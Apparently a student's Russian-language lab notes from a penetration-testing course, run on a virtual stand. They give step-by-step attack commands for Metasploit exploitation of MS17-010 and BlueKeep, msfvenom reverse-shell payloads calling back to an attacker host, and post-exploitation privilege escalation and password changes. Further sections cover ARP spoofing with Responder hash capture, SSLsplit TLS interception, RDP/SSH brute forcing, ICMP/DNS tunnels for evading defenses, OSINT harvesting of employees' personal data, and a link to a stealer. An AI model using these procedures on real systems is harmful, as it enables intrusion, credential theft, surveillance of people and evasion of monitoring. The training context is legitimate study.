# 1. Атаки первоначального доступа
## Разведка
1. Иследование, анализ сферы деятельности организации.
2. Определение часто используемой структуры сети и используемых сервисов для организаций данной сферы деятельности. (пример, для организаций сверы ЖКХ)
3. Определение IP адресов организации. (через отправку специально подготовленных электронных писем или средствами социальной инженерии).
4. Сканирование выявленных ip адресов на наличие портов служб которые смотрят на ружу, а так же определение оборудования которое стоит на границе периметра.
## Сценарии проникновения
1. Подбор учетных данных на доступные сервисы RDP, SSH, Radmin, Ammyy Admin и подобные.
2. Эксплуатация вэб уязвимостей.
3. Иньекции в БД.
4. Эксплуатациии уязвимости сетевого оборудования стоящего на границе периметра.
5. Социальная инженерия.
6. Атаки на протоколы сетевого и канального уровня.
7. Физическая кража оборудование или носителей ключей доступа.
8. Отправка фишинговых электронных писем, а так же писем с вирусами и троянскими программами.
9. Физическое проникновение в организацию и получение доступа к оборудованию или сети с возможностью установки закладки.
# 2. OSIN и социальная инженерия
### Задание
Используя инструменты, рассмотренные на занятии 2, найти информацию о компании, в которой вы работаете. Необходимо найти максимальное количествено сотрудников компании, в которой вы работаете в открытом доступе (ФИО, email, телефон, ссылка на соцсеть). В отчете отразить инструмены и инструкцию работы с инструментами. Собранные данные включать в отчет не нужно!
### Инструменты для сбора информации о доменах и субдоменах компании.
subfinder
gau
- amass
- altdns
- dnsgen, massdns, subbrute
- wget
ubfinder - subdomain discovery tool. Его главный плюс в том, что он собирает информацию с помощью API. Это позволяет выполняться пассивно и незаметно.
пример использования
`kali@kali:~$ subfinder -nW -oI -o ~/tmp/sib-nsk.log -d sib-nsk.net`
- `-nW` - удаление мёртвых поддоменов из вывода
- `-oI` - запись вывода в формате Host, IP
- `-o ~/tmp/sib-nsk.log - файл, в который запишем результат
- `-d sib-nsk.net` - домен для поиска поддоменов
в лог файле мы увидим доменные имена и ip адреса на которых они висят
после можно воспользоваться сервисом hunter.io для поиска e-mail адресов с привязкой к конкретному домену

Утилита gau для поиска URL
установка
go install github.com/lc/gau/v2/cmd/gau@latest
использование
~/go/bin/gau --subs sib-nsk.net

используя различные инструменты можно из этого вывода выдернуть документы для изучения наличия вних персональных данных.
При помощи ресурсов типа https://2ip.io/domain-list-by-ip/ можно просмотреть какие еще домены могут висеть на конкретном IP адресе.
С помощью утилиты dig мы можем просмотреть на каком из найденых нами доменов висит почта
dig MX sib-nsk.net
при помощи телеграмм бота по номеру телефона и почте можно узнать информацию о человеке
https://t.me/+DPwC7zLpjoM5ZDcy
также есть бот "Глаз Бога" но он работает по платной подписке.
# Тема 3. Сканирование сети корпоративной инфраструктуры
### Задачи
а) Выполнить конфигурацию инфраструктуры для выявления уязвимых сервисов (пробросить RDP и SMB порты Windows 7 на внешние порты FW)
б) Выполнить сканирование внешнего периметра сети виртуальной организации, найти потенциально уязвимые сервисы, используя инстурументарий, рассмотренный на занятии
в) Выполнить эксплуатацию найденной уязвимости, используя инстурументарий, рассмотренный на занятии 3.
г) Установить сетевой сканнер Nessus (будет необходим VPN) и просканировать внешний периметр инфраструктуры
## Настройка инфраструктуры
Итоговая структура сети выглядит так

### настройки pfSense
Проброс портов для RDP и SMB
![Uploading file..._ca3v6oh9x]()
и разрешающие правила

## Сканирование внешнего периметра
Начнем сканирование с утилиты nmap всей подсети 10.10.51.0.24
`nmap 10.10.51.0/24 -v`

Внешний адрес нашего pfSense 10.10.51.57
утилита почемуто нашла два открытых порта сканирование конкретно нашего ip адреса
`nmap 10.10.51.57 -A`


Воспользуемся возможностью nmap подключать скрипты для более детального сканирования хоста (определения версий уязвимости)
`nmap 10.10.51.57 -A -sV --script=*vuln*`
найдена одна уязвимость ms17-010

### Эксплуатация найденной уязвимости
воспользуемся утилитой Metasploit Framework console
для запуска введем команду
`msfconsole`

проведем поиск по номеру уязвимости
`msf6 > search CVE-2017-0143`

выдан список возможных эксплоитов
воспользуемся самым первым эксплоитом, введем команду `use 0`
для просмотра возможных опций этого эксплоита введем команду `show options`

нам достаточно прописать опцию RHOSTS делается это командой `set RHOSTS` 10.10.51.57
командой `run` мы запускаем данный эксплоит

в итоге эксплоит прошел удачно и мы получили доступ

### Реализуем еще одну уязвимость bluekeep
выходим в командную строку msfcomsole? и ищем эксплоит bluekeep
`search bluekeep`
далее выбираем наш экслоит

проверяем какие есть опции на этом эксплоите и задаем ему опцию RHOSTS
не забываем установить версию ОС в ошции Exploit target
и запускаем

Эксплорер отработал и мыы получили доступ к win7 машине

## Утановка Nessus
При помощи vpn скачиваем и устанавливаем Nessus, так же на сайте нужно зарегистрироваться и получит ключь активации

запускаем службу

и в браузере заходим по адресу http://127.0.0.1:8834
Выбираем версию

Вводим регистрационый код а также логин и пароль

и дожидаемся скачивания и установки плагинов

После установки плагинов нам срузу предлагается указать цель для сканирования

Через некоторое время нам выдатсся какие уязвимости были найдены


# Тема 4. Проникновение за периметр инфраструктуры. Технология SSH Port forwarding SSH Tunneling. Проксирование трафика
### Задачи
а) Создать проброс портов (445 и 3389) с помощью технолонии SSH PortForwarding
б) Создать L3 тоннель с помощью SSH Tunneling и настроить маршрутизацию во внутренний периметр сети извне.
в) Создать L2 тоннель с помощью SSH Tunneling и настроить маршрутизацию во внутренний периметр сети извне. Получить адрес DHCP на машине злоумышленника
г) Настроить выход изнутри инфраструктуры с помощью SSH proxy на внешний SSH сервер
## a) Проброс портов (445 и 3389) с помощью технолонии SSH PortForwarding
Проверяем запушен ли ssh служба на внешней Kali linux машине командой
`service ssh status
если не запущен запускаем его

В нашем случае он запущен.
Провряем возможность подключения из нутри инфраструктуры на наш внешний ssh сервер


все хорошо подключается
пробросим порт 3389 с windows10 на порт 3390 Kali linux
для этого в командной строке windows 10 пропишем следующую команду
`ssh -R 3390:127.0.0.1:3389 user@10.10.51.96`
попробуем теперь с Kali linux подключиться по RDP к Windows 10 машине в обход файервола

в водим команду
`xfreerdp /u:user /p:eve@123 /v:127.0.0.1:3390`
И видим подключение к Windows 10

Для проброса 445 порта используется таже команда только вместо 3389 указывается 445 порт и далее по аналогии
Команда для проброса порта на другой компьютер
`ssh -R 3391:192.168.1.113:3389 user@10.10.51.96`
в данном случее проброс будет сделат через windows10 машину на windows7
### L3 тоннель с помощью SSH Tunneling
Произведем настройку внешей Kali linux машины
в файле настройки ssh сервера раскоментируем (или добавим) параметры
`PermitionRoorLogin yes` -разрешаем подключение root к ssh
`PermitTunnel yes` -разрешает использование перенаправления для устройств TUN
Тонель поднимается при помощи ключа -w
для этого бедем использовать Debian машинку находящиюся в нутри инфраструктуры и введем следующую команду
`ssh -w any:ane root@10.10.51.185`

откроим еще один терминал на этой машине командой Alt+F2 для донастройки
Видим появившейся адаптер tun0 но он не активен

назначим ip адрес на этот интерфейс
`ip addr add 172.10.10.2/24 dev tun0`
включим этот интерфейс
`ip link set dev tun0 up`

включаем маршрутизацию
вфайле /etc/sysctl.conf нужно раскоментировать параметр net.ipv4.ip_forward=1
после применим настройки командой `sysctl -p`

Настроим правила NAT чтобы трафик идущий из любых интервейсов натился на интерфейс ens3
`iptables -t nat -A POSTROUTING -o ens3 -j MASQUERADE`
приступим к донастройке kali linux машине
назначим нашему новому интерфейсу ip адрес
`ip addr add 172.10.10.1/24 dev tun0`
`ip link set dev tun0 up`
и добавляем маршрут до сети 192.168.1.0/24
`ip route add 192.168.1.0/24 via 172.10.10.2`
можно попробовать зайти на pfSense с Kali linux машины по адресу 192.168.1.1

### L2 тоннель с помощью SSH Tunneling
Подключим в нашу инфраструктуру еще одну debian машину и на ней будем проводить эксперимент
Настроим сеть и установим на ней bridge-utils (`apt install bridge-utils`)
Запустим соединение по ssh следующей командой
`ssh root@10.10.51.185 -o Tunnel=ethernet -w any:any`
включаем интерфейс
`ip link set tap0 up`
добавляем созданный тонель в бридж
`brctl addif br0 tap0`

Зайдем на внешнюю Kali linux и на ней настроим тонель
включаем интерфейс
`ip link set tap0 up`
и получаем по dhcp на этот интерфейс адрес
`dhclient tap0`

## Выход изнутри инфраструктуры с помощью SSH proxy на внешний SSH сервер
Для использования SSH proxy нужно использовать ssh со следующими параметрами
`ssh -f -qNTn -D *:8888 user@10.10.51.185`
# Тема 5. Проникновение за периметр инфраструктуры. OpenVPN L3, L2 Tunneling
### Задачи
а) Построить OpenVPN L3 тоннель и проникнуть вовнутрь инфраструктуры и настроить маршрутизацию во внутренний периметр сети извне.
б) Построить OpenVPN L2 тоннель и проникнуть вовнутрь инфраструктуры и настроить маршрутизацию во внутренний периметр сети извне. Получить адрес DHCP на машине злоумышленника
### Настройка стенда
добавим на наш стенд дополнительно одну debian машину, обзавем ее RPi (raspberry pi) в конфигурации добавим 3 сетевых интерфейса, два будут работать в режиме бриджа а один смотреть во внешнюю сеть эмулируя LTE модем.

Также создадим дополнительно два VLAN 10 и 20 в 10 будет windows 10 машина а в 20 debian, windows 7 останется в VLAN 1.
Дополнительно добавим еще одну Kali linux машину для поднятия на ней openvpn сервера
### Построить OpenVPN L3
на RPI-4 установим openvpn client
`apt install openvpn`
а также включим маршрутизацию
в файле /etc/sysctl.conf, раскоментируем строчку net.ipv4.ip_forward=1
и применим изменения sysctl -p
вешаем ip адрес на бридж интерфейс
`ip addr add 192.168.1.97/24 dev br0`
и настроим nat на бридж интерфейсе
`iptables -t nat -A POSTROUTING -o br0 -j MASQUERADE`
на внешней Kali linux машине скачиваем скрипт
`curl -O https://raw.githubusercontent.com/angristan/openvpn-install/master/openvpn-install.sh
делаем его исполняемым
`chmod +x openvpn-install.sh
Запускаем
`./openvpn-install.sh`
помере выполнения отвечаем на вопросы
после выаолнения скрипта в конце он запросит как обозвать клиента и по этому имени создаст сщташгурационный файл для этого клиента. В нашем случае создался файл user.ovpn скачиваем этот файл на нашу RPi машину.
редактируем файл конфигурации openvpn сервера, приводим его к виду как указанно на скриншоте

перезапускаем openvpn сервер
`service openvpn restart`
в папке /etc/openvpn/ccd создадим файл с именем нашего профиля (клиента)
`nano user`
пропишем в нем какие сети находятся за этим клиентом
`iroute 192.168.1.0 255.255.255.0`

пропишем маршрут `ip route add 192.168.1.0/24 via 10.8.0.2`
так же немного редактируем файл конфигурации openvpn клиента приводим его к виду как указанно на скриншоте

подключаемся к openvpn серверу
`openvpn user.conf`
с Kali linux пробуем пропинговать адрес 192.168.1.1 и видим что пинги проходят, а значить мы имеем доступ во внутреннюю инфраструктуру

### L2 OPENVPN тунель
настройки сервера
nano /etc/openvpn/server.conf
port 1194
proto udp
#dev tun
dev tap
user nobody
group nogroup
persist-key
persist-tun
keepalive 10 120
topology subnet
server 10.8.0.0 255.255.255.0
ifconfig-pool-persist ipp.txt
#push "dhcp-option DNS 8.8.8.8"
#push "dhcp-option DNS 8.8.4.4"
#push "redirect-gateway def1 bypass-dhcp"
dh none
ecdh-curve prime256v1
tls-crypt tls-crypt.key
crl-verify crl.pem
ca ca.crt
cert server_7hSP84aWqqcYZwQ5.crt
key server_7hSP84aWqqcYZwQ5.key
auth SHA256
cipher AES-128-GCM
ncp-ciphers AES-128-GCM
tls-server
tls-version-min 1.2
tls-cipher TLS-ECDHE-ECDSA-WITH-AES-128-GCM-SHA256
client-config-dir /etc/openvpn/ccd
status /var/log/openvpn/status.log
verb 3
перезапускаем openvpn
service openvpn restart

Настройки клиента
nano user.conf

Меняем настройки сети на клиенте
/etc/network/interfaces
Добавляем как на скриншоте

настраиваем автоматический запуск openvpn сервер
systemctl enable openvpn
для того что бы автоматически подтягивался конфиг для openvpn перенесем конфигурационый вайл в папку /etc/openvpn
mv user.conf /etc/openvpn/
укажем опенвпн серверу конкретно какой конфигурационный файл брать при автозапуске
nano /etc/default/openvpn

Создаем скрипт для автоматической перезапуска сети
для этого в папке etc/openvpn создаем скрипт
cd /etc/openvpn
nano up.sh
#!/bin/bash
/usr/bin/systemctl restart networking.service
Разрешаем на запуск
chmod +x up.sh
в файл user.conf добавляем
script-security 2
up /etc/openvpn/up.sh

после чего перезагружаем устройство и openvpn клиент автоматически подключается
# Тема 6. Вредоносное программное обеспечение в корпоротивной среде.
### Настройки рабочей среды
#### Kali Linux
Нужно в одной консоли запустить msfconsole
show payloads - просмотр payloads
выбираем эксплоит
use exploit/multi/handler
просмотр опций
show options

Устанавливаем параметр LHOST
set lhost 0.0.0.0
устанавливаем выбранный payloads
set payloads windows/x64/meterpreter/reverse_tcp
Смотрим какие опции присутствуют на этом payloads
show options

при помощи утилиты msfvenom создаем запускаемый файл
msfvenom -p windows/x64/meterpreter/reverse_tcp lport=4444 lhost=10.10.51.58 -f exe
-o reverse-tcp-meterpreter.exe
В результате чего создастся файл reverse-tcp-meterpreter.exe

С помощью python зоздаем веб сервер в котором будет находится наш файл
sudo python -m http.server 80
далее с жертвы заходим на этот сервер и скаиваем нужный нам файл и запускаем его.
на атакующем компьютере имеем доступ

создание payload для подключения по RDP
set payload windows/x64/vncinject/reverse_tcp
msfvenom -p windows/x64/vncinject/reverse_tcp lport=4444 lhost=10.10.51.58 -f exe -o reverse-tcp-vnc.exe
в итоге на атакующей машине запустится сессия vnc с доступом к жертве
Настроим проброс портов
Вернемся к сессии set payloads windows/x64/meterpreter/reverse_tcp (session N) или если она не запущенна запустим
введем команду
portfwd add -L 10.10.51.58 -l 3395 -p 3389 -r 192.168.10.10
Смотрим соединения которые получились
portfwd list

Пробуем подключиться по RDP
xfreerdp /u: user /p:eve@123 /v:10.10.51.58:3395
в итоге получаем сессию rdp

### Постэксплуатация
use post/windows
для примера используем следующую комманду
use post/windows/escalate/unmarshal_cmd_exec
устанавливаем запущенную сессию
set session N (где N номер ссесии которую можно посмотреть коммандой show sessions)
и запускаем

в итоге на атакуемой машине имеем пользователя с правами администратора.
попробуем изспльзовать скрипт post/windows/manage/change_password
посмотрим опции

установим опции и запустим скрипт

Пароль изменен
Запустим еще один скрипт я так понял получает список локальных администраторов

## Reverse HTTPS-подключения
```
msfvenom -p windows/x64/meterpreter/reverse_https lhost=10.10.51.58 lport=443 -f exe -o 443.exe
```
Закидываем файл 443.exe на компьютер жертвы, а на атакуемом компьютере запускаем mfsconsole и вводим следующие комманды
```
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_https
msf exploit(handler) > set lhost IP 10.10.51.58
msf exploit(handler) > set lport 443
run
```
В итоге имеем досттуп

### PowerShell reverse tcp
запускаем mfsconsole и вводим следующие комманды
```
set payload cmd/windows/reverse_powershell
set lhost 10.10.51.58
set lport 4444
run
```
зоздадим пэйлоад
```
msfvenom -p cmd/windows/reverse_powershell lhost=10.10.51.58 lport=4444 -o shell.bat
```
Зальем его на жертву и запустим

## Stealers
Это программное обеспечение которое позволяет похищать критически важную информацию.
https://github.com/tiagorlampert/sAINT
# Тема 7. Особенности атак, использующих метод перехвата трафика
### 1. Подготовка стенда
Добавляем новую машину контроллера домена на windows server 2016
Назначаем статический IP адресс 192.168.1.200
поднимаем службу контроллера домена и DNS сервер
на машинах с windows 10 и Windows 7 всетевых настройках меняем адресс DNS на 192.168.1.200
Вводим win7 and win10 машины в домен
### 2. Практическая часть
#### Перехват трафика
Для начала сканируем внутренную сеть.
На Kali Linux устанавливаем пакет dsniff (apt install dsniff)
в этом пакете находится уьтилита для перехвата трафика
arpspoof для arp spoof атаки между двумя хостами
arpspoof -i eth0 -t 192.168.1.200 -r 192.168.1.102

на скриншоте выдем атаку
на KAli запустим wireshark и посмотрим что мы получаем трафик между контроллером домена 192.168.1.200 и виндовс машинкой 192.168.1.102

попробуем разобрать проходящий трафик при помощи утилиты responder
responder -I eth0 -wd
видем NTLM авторизацию и хеш пароля

так же попробуем перенаправить соединение по 445 порту на наш респондер
для этого пропишем правило
iptaples -t nat -A PREROUTING -p tcp --dport 445 -j REDIRECT --to-ports 445
после чего можем перехватывать хеш пароля при попытке пользователя подлкюится по SMB к домену контроллера или к другому какому сервису, все зависит от того перенаправление какого сервиса мы сделаем

### SSLsplit
Ссылка на статью https://blog.kchung.co/recording-and-decrypting-ssl-encrypted-traff
для начала подготовим контроллер домена на стенде
для этого настроим на нем сертификаты
запустим с правами администратора mmc и добавим в неее остнастку Certificates

также в контроллер домена добавим роль центра сертификации
по статье генерируем ключи
создаем папку для сертификата
mkdir ssl
cd ssl
генерируем
1. `openssl genrsa -out ca.key 4096`
2. 1. `openssl req -new -x509 -key ca.key -out ca.crt`

добавляем правила iptables
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443
iptables -t nat -A PREROUTING -p tcp --dport 587 -j REDIRECT --to-ports 8443
iptables -t nat -A PREROUTING -p tcp --dport 465 -j REDIRECT --to-ports 8443
iptables -t nat -A PREROUTING -p tcp --dport 993 -j REDIRECT --to-ports 8443
iptables -t nat -A PREROUTING -p tcp --dport 5222 -j REDIRECT --to-ports 8080
создаем дополнительные папки
mkdir /tmp/sslsplit/
mkdir logdir
Меням параметры arpspoofing
arpspoof -i eth0 -t 192.168.1.102 -r 192.168.1.1
И запускаем sslsplit
sslsplit \ -D \ -l connections.log \ -j /tmp/sslsplit/ \ -M ssl_key_logfile \ -S logdir/ \ -k ca.key \ -c ca.crt \ ssl 0.0.0.0 8443 \ tcp 0.0.0.0 8080
и видем подмену сертификата

Скачиваем и устанавливаем наш сертификат на машине с windows 7
перезапускаем браузер и повторно открываем сайт ptsecurity.com
и видим что сертификат вполне действительный.

для просмотра тарфика запустим wireshark
в настройках wirwshark добавим (Pre)-Master-Secret log filename

итог мы можем спомощью подмены сертификата захватывать зашифрованный трафик и расфифровывать его.

# Тема 8. Особенности атак, использующих метод грубой силы
### Задачи
а) Подготовить инфраструктуру для проведения BruteForce атак
б) Провести атаку на сервис RDP
в) Провести атаку на сервис SSH
г) Перехватить трафик с помощью Responder и осуществить BruteForce атаку на перехваченный NTLMv2 хэш
### BruteForce
Начнем с BruteForce атаки на перехваченный NTLMv2 хеш с помощью Responder
responder -I eth0 -wd
видем NTLM авторизацию и хеш пароля

так же попробуем перенаправить соединение по 445 порту на наш респондер
для этого пропишем правило
iptaples -t nat -A PREROUTING -p tcp --dport 445 -j REDIRECT --to-ports 445
после чего можем перехватывать хеш пароля при попытке пользователя подлкюится по SMB к домену контроллера или к другому какому сервису, все зависит от того перенаправление какого сервиса мы сделаем

для подбора пароля по хеш будем использоваать утелиту hashcat
Для начала распакуем словарь по которому будем подбирпть пароль
sudo gzip -d /usr/share/wordlists/rockyou.txt.gz
hashcat -a 0 -m5600 SMB-NTLMv2-SSP-192.168.1.102.txt /usr/share/wordlists/rockyou.txt -o pass.txt

по завершению работы мы можем посмотреть результат в файле pass.txt

где видем подобранный пароль eve@123
### RDP
Подбор будем проводить при помощи Lazy-RDP
Установка
```
git clone https://github.com/getdrive/lazy-rdp
cd lazy-rdp && chmod +x hydra/configure hydra/hydra src/rdp_brute.sh patator.py start INSTALL
```
Установка зависимостей
```
./INSTALL
```
Запуск скрипта
```
./start
```

оставляем порт по умолчанию, так как мы будем подбирать пароль к RDP

Здесь в нашем случае выбираем 1 и указываем для сканирования либо отдельный ip адресс либо диапазон

Указываем чем сканировать будем. Выберем nmap
После сканирования на непродолжительное время покажет что нашла и предложит выбрать метод подбора пароля

Выберем 3 (Подбор по словарю как имени пользователя так и пароля)

Укажем путь к файлу с именами и файлу с паролями

укажем чем непосредственно будем брутфорсить
выберем 1

Запустится процесс подбора

Через какоето время пароль подобран.
# ssh-bruteforce
Будем использовать иструмент ssb скачаем и установим с
https://github.com/kitabisa/ssb
для скачивания и установки выполним команду из под root
curl -sSfL 'https://git.io/kitabisa-ssb' | sh -s -- -b /usr/local/bin
для подбора пароля введем следующую команду
ssb -p 22 -w pass -o creds.txt root@192.168.1.106
где -w pass файл со словарем паролей
-o creds.txt файл куда сохранится пароль

и после запуска утилита подобрала успешно пароль
# Тема 9. Инструменты скрытия трафика от систем защиты
### Задачи
а) Дополнить конфигурацию инфраструктуры для возможности создания ICMP и DNS туннеля.
б) Выполнить реализацию ICMP тоннеля
в) Выполнить реализацию RAW DNS тоннеля (простой способ)
г) Выполнить реализацию DNS тоннеля через корпоративный DNS сервер (сложный способ)
### ICMP тонель
подготовка инфраструктуры
cсклонирунм утилиту hans с гитхаб на компьютер с кали линукс который расположен с наружи нашей инфраструктуры.
git clone https://github.com/friedrich/hans
Заходим в скачаную папку и комилируем командой make
после в этой папке у нас появится исполняемый файл hans

анологично скачиваем и компилируем данную утилиту и на компьютер с debian внутри инфраструктуры, может понадобится установка дополнительных утелит такой как net-tools
На Kali linux запускам сервер hans командой
./hans -s 10.1.2.0 -p Aa123456
где -s 10.1.2.0 создаваемая сеть, приэтом серверу назначиться адрес 10.1.2.1
-p Aa123456 пароль

создался тоннель tun0
Запустим клиента на debian машине в нутри инфраструктуры
для этого выполним следующую команду
./hans -c 10.10.51.96 -p Aa123456

создался так же тоннель tun0 и назначен адрес 10.1.2.100
Настроим выход и ифраструктуры для debian машины через созданный icmp тонель
для этого пропишем маршруты
на Kali Linux
пропишим NAT
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
на Debian
пропишем маршрут
ip route add 10.10.51.96/32 via 192.168.20.254
удаляем дефолтный маршрут
ip route delete default
и добавим новый маршрут
ip route add default via 10.1.2.1
Посмотрим как теперь идут маршрути на ya.ru

Запустим wireshark на интерфейсе e0 pfSense
и увидим большое колличество icmp пакетов в data которых встречается hans что говорит о том что используется утилита hans

в обычном icmp запросе такого нету
## RAW DNS тоннель (простой способ)
Будем использовать статью https://habr.com/ru/post/129097/
На Kali linux машине которая находится за пределами инфраструктуры установим утилиту iodine
apt install iodine
аналогично ставим и на debian машине которая находится внутри инфраструктуры
Далее на Kali linux машине запускаем серверную часть утилиты iodine
iodined 10.99.99.1/24 -c i.ptlab.net

на debian машине запускаем клиента, предварительно поменяв DNS

После запускаем клиента командой
iodine -P Qq123456 i.ptlab.net

тунель создан и мдаже можно подключиться по ssh


Но данный метод имеет минусы один из них это отсутсвиие DNS на клиенте.
## Реализация DNS тоннеля через корпоративный DNS сервер (сложный способ)
Подготовим ифраструктуру, для этого на стенде за переделим организации установим и настроим внешний DNS сервер, на базе windows server 2016

настраиваем делелгирование

Так же нужно перенастроить DNS на контроллере домена находящийся в нутри организации

стенд подготовлен.
Переходим на debian машину, перезагружаем ее, прописываем наш DNS сервер 192.168.1.200
утилитой dig смотрим на записи ptlab.net видим что А запись ссылается на адрес 10.10.51.186

попробуем опять подключиться iodine к серверу
iodine -P Qq123456 i.ptlab.net

Вэтом варианте мы можем резолвить адреса

Посмотрим на трафик который идет во внешнюю сеть
(тут у меня почемуто перестали вставляться картинки, поэтому вставляю ссылки на них)
[Screenshot_54](https://cloud.mail.ru/public/vgyL/VcJv6c98Y)
Заметим что днс трафик содержит непонятные вещи, по которым можно легко определить что есть какойто тунель в DNS трафике
Перейдем к следующему этапу тестирования,
для начала отключим существующий днс тонель
[Screenshot_55](https://cloud.mail.ru/public/h5ZG/9Rwasrzhz)
Отключим доступ до внешних ресурсов кроме нашего внешнего DNS серовера
проверим утилитой dig запросы на mail.ru и у собственного днс сервера мы получаем данные, а из внешнего нет.
[Screenshot_56](https://cloud.mail.ru/public/axYQ/3N34YBze3)
закрываем вообще весь трафик кроме 53 порта
[Screenshot_57](https://cloud.mail.ru/public/nLdm/D9xdHCPrD)
[Screenshot_58](https://cloud.mail.ru/public/JvyM/Guv1XhRSq)
в очередной раз попробуем подключиться iodine к серверу
iodine -P Qq123456 i.ptlab.net
[Screenshot_59](https://cloud.mail.ru/public/8Nss/ic2LSE6vy)
и мы видим, что утилита не смогла получить доступ через raw логин и начала реализовывать доступ через dns стрим и в итоге таки установила соединение.
а так же появился наш тонель
[Screenshot_60](https://cloud.mail.ru/public/MmgP/9Lr2Wt9yA)
Пропишим нужные нам маршруты
ip route add 192.168.1.200 via 192.168.20.254
удалим дефолтный маршрут и добавим новый дефолтный маршрут
ip route delete default
ip route add default via 10.99.99.1
[Screenshot_62](https://cloud.mail.ru/public/ESb8/MjErRQ9nU)
в итоге мы видим что у нас есть выход во вне и wireshark показывает Standart query dns запросы.
## Конец